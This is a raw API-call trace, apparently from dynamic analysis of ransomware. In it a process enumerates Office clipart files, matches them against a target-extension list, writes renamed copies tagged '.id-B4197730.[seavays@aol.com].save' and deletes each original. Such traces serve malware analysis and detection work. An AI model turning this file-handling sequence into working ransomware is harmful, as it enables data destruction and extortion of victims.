[0208.659] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0208.659] lstrlenW (lpString=".ppt") returned 4 [0208.659] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0208.659] lstrlenW (lpString=".zip") returned 4 [0208.659] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.659] lstrlenW (lpString=".rar") returned 4 [0208.659] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.659] lstrlenW (lpString=".bz2") returned 4 [0208.659] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.659] lstrlenW (lpString=".7z") returned 3 [0208.659] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0208.660] lstrlenW (lpString=".dbf") returned 4 [0208.660] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0208.660] lstrlenW (lpString=".1cd") returned 4 [0208.660] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0208.660] lstrlenW (lpString=".jpg") returned 4 [0208.660] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.660] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0208.660] lstrlenW (lpString="J0099203.GIF") returned 12 [0208.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.661] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=3904) returned 1 [0208.661] CloseHandle (hObject=0x37c) returned 1 [0208.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 0x220 [0208.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.661] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.661] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0208.663] GetLastError () returned 0x0 [0208.663] ReadFile (in: hFile=0x37c, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0xf40, lpOverlapped=0x0) returned 1 [0208.664] WriteFile (in: hFile=0x380, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xf50, lpOverlapped=0x0) returned 1 [0208.665] ReadFile (in: hFile=0x37c, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.665] WriteFile (in: hFile=0x380, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.666] SetEndOfFile (hFile=0x380) returned 1 [0208.666] CloseHandle (hObject=0x380) returned 1 [0208.666] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.666] SetEndOfFile (hFile=0x37c) returned 1 [0208.667] CloseHandle (hObject=0x37c) returned 1 [0208.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 1 [0208.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0208.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0208.668] lstrlenW (lpString=".doc") returned 4 [0208.668] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.668] lstrlenW (lpString=".docx") returned 5 [0208.668] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0208.668] lstrlenW (lpString=".pdf") returned 4 [0208.668] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.668] lstrlenW (lpString=".xls") returned 4 [0208.668] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.668] lstrlenW (lpString=".xlsx") returned 5 [0208.668] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0208.668] lstrlenW (lpString=".ppt") returned 4 [0208.668] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0208.668] lstrlenW (lpString=".zip") returned 4 [0208.668] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.668] lstrlenW (lpString=".rar") returned 4 [0208.668] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.668] lstrlenW (lpString=".bz2") returned 4 [0208.668] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.668] lstrlenW (lpString=".7z") returned 3 [0208.668] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0208.668] lstrlenW (lpString=".dbf") returned 4 [0208.668] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0208.668] lstrlenW (lpString=".1cd") returned 4 [0208.669] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0208.669] lstrlenW (lpString=".jpg") returned 4 [0208.669] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0208.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0208.669] lstrlenW (lpString=".doc") returned 4 [0208.669] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.669] lstrlenW (lpString=".docx") returned 5 [0208.669] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0208.669] lstrlenW (lpString=".pdf") returned 4 [0208.669] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.669] lstrlenW (lpString=".xls") returned 4 [0208.669] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.669] lstrlenW (lpString=".xlsx") returned 5 [0208.669] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0208.669] lstrlenW (lpString=".ppt") returned 4 [0208.669] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0208.669] lstrlenW (lpString=".zip") returned 4 [0208.669] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.669] lstrlenW (lpString=".rar") returned 4 [0208.669] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.669] lstrlenW (lpString=".bz2") returned 4 [0208.669] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.669] lstrlenW (lpString=".7z") returned 3 [0208.669] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0208.670] lstrlenW (lpString=".dbf") returned 4 [0208.670] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0208.670] lstrlenW (lpString=".1cd") returned 4 [0208.670] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0208.670] lstrlenW (lpString=".jpg") returned 4 [0208.670] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.670] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0208.670] lstrlenW (lpString="J0099204.WMF") returned 12 [0208.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.670] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=17854) returned 1 [0208.670] CloseHandle (hObject=0x37c) returned 1 [0208.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 0x220 [0208.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.671] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.671] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0208.672] GetLastError () returned 0x0 [0208.672] ReadFile (in: hFile=0x37c, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x45be, lpOverlapped=0x0) returned 1 [0208.674] WriteFile (in: hFile=0x380, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0208.676] ReadFile (in: hFile=0x37c, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.676] WriteFile (in: hFile=0x380, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.676] SetEndOfFile (hFile=0x380) returned 1 [0208.676] CloseHandle (hObject=0x380) returned 1 [0208.676] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.676] SetEndOfFile (hFile=0x37c) returned 1 [0208.677] CloseHandle (hObject=0x37c) returned 1 [0208.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 1 [0208.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0208.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0208.678] lstrlenW (lpString=".doc") returned 4 [0208.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.678] lstrlenW (lpString=".docx") returned 5 [0208.678] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0208.678] lstrlenW (lpString=".pdf") returned 4 [0208.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.678] lstrlenW (lpString=".xls") returned 4 [0208.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.679] lstrlenW (lpString=".xlsx") returned 5 [0208.679] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0208.679] lstrlenW (lpString=".ppt") returned 4 [0208.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0208.679] lstrlenW (lpString=".zip") returned 4 [0208.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.679] lstrlenW (lpString=".rar") returned 4 [0208.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.679] lstrlenW (lpString=".bz2") returned 4 [0208.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.679] lstrlenW (lpString=".7z") returned 3 [0208.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0208.679] lstrlenW (lpString=".dbf") returned 4 [0208.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0208.679] lstrlenW (lpString=".1cd") returned 4 [0208.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0208.679] lstrlenW (lpString=".jpg") returned 4 [0208.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0208.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0208.680] lstrlenW (lpString=".doc") returned 4 [0208.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.680] lstrlenW (lpString=".docx") returned 5 [0208.680] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0208.680] lstrlenW (lpString=".pdf") returned 4 [0208.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.680] lstrlenW (lpString=".xls") returned 4 [0208.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.680] lstrlenW (lpString=".xlsx") returned 5 [0208.680] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0208.680] lstrlenW (lpString=".ppt") returned 4 [0208.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0208.680] lstrlenW (lpString=".zip") returned 4 [0208.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.680] lstrlenW (lpString=".rar") returned 4 [0208.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.680] lstrlenW (lpString=".bz2") returned 4 [0208.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.680] lstrlenW (lpString=".7z") returned 3 [0208.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0208.680] lstrlenW (lpString=".dbf") returned 4 [0208.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0208.680] lstrlenW (lpString=".1cd") returned 4 [0208.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0208.681] lstrlenW (lpString=".jpg") returned 4 [0208.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.681] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0208.681] lstrlenW (lpString="J0099205.WMF") returned 12 [0208.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.681] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=17854) returned 1 [0208.681] CloseHandle (hObject=0x37c) returned 1 [0208.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 0x220 [0208.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.682] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.682] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0208.683] GetLastError () returned 0x0 [0208.683] ReadFile (in: hFile=0x37c, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x45be, lpOverlapped=0x0) returned 1 [0208.684] WriteFile (in: hFile=0x380, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0208.685] ReadFile (in: hFile=0x37c, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.685] WriteFile (in: hFile=0x380, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.686] SetEndOfFile (hFile=0x380) returned 1 [0208.686] CloseHandle (hObject=0x380) returned 1 [0208.686] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.686] SetEndOfFile (hFile=0x37c) returned 1 [0208.687] CloseHandle (hObject=0x37c) returned 1 [0208.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 1 [0208.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0208.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0208.688] lstrlenW (lpString=".doc") returned 4 [0208.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.688] lstrlenW (lpString=".docx") returned 5 [0208.688] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0208.688] lstrlenW (lpString=".pdf") returned 4 [0208.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.688] lstrlenW (lpString=".xls") returned 4 [0208.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.688] lstrlenW (lpString=".xlsx") returned 5 [0208.688] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0208.688] lstrlenW (lpString=".ppt") returned 4 [0208.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0208.688] lstrlenW (lpString=".zip") returned 4 [0208.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.005] lstrlenW (lpString=".rar") returned 4 [0209.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.005] lstrlenW (lpString=".bz2") returned 4 [0209.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.005] lstrlenW (lpString=".7z") returned 3 [0209.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0209.005] lstrlenW (lpString=".dbf") returned 4 [0209.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0209.005] lstrlenW (lpString=".1cd") returned 4 [0209.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0209.006] lstrlenW (lpString=".jpg") returned 4 [0209.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0209.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0209.006] lstrlenW (lpString=".doc") returned 4 [0209.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.006] lstrlenW (lpString=".docx") returned 5 [0209.006] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0209.006] lstrlenW (lpString=".pdf") returned 4 [0209.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.006] lstrlenW (lpString=".xls") returned 4 [0209.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.006] lstrlenW (lpString=".xlsx") returned 5 [0209.006] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0209.006] lstrlenW (lpString=".ppt") returned 4 [0209.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0209.006] lstrlenW (lpString=".zip") returned 4 [0209.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.006] lstrlenW (lpString=".rar") returned 4 [0209.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.006] lstrlenW (lpString=".bz2") returned 4 [0209.006] lstrcmpiW 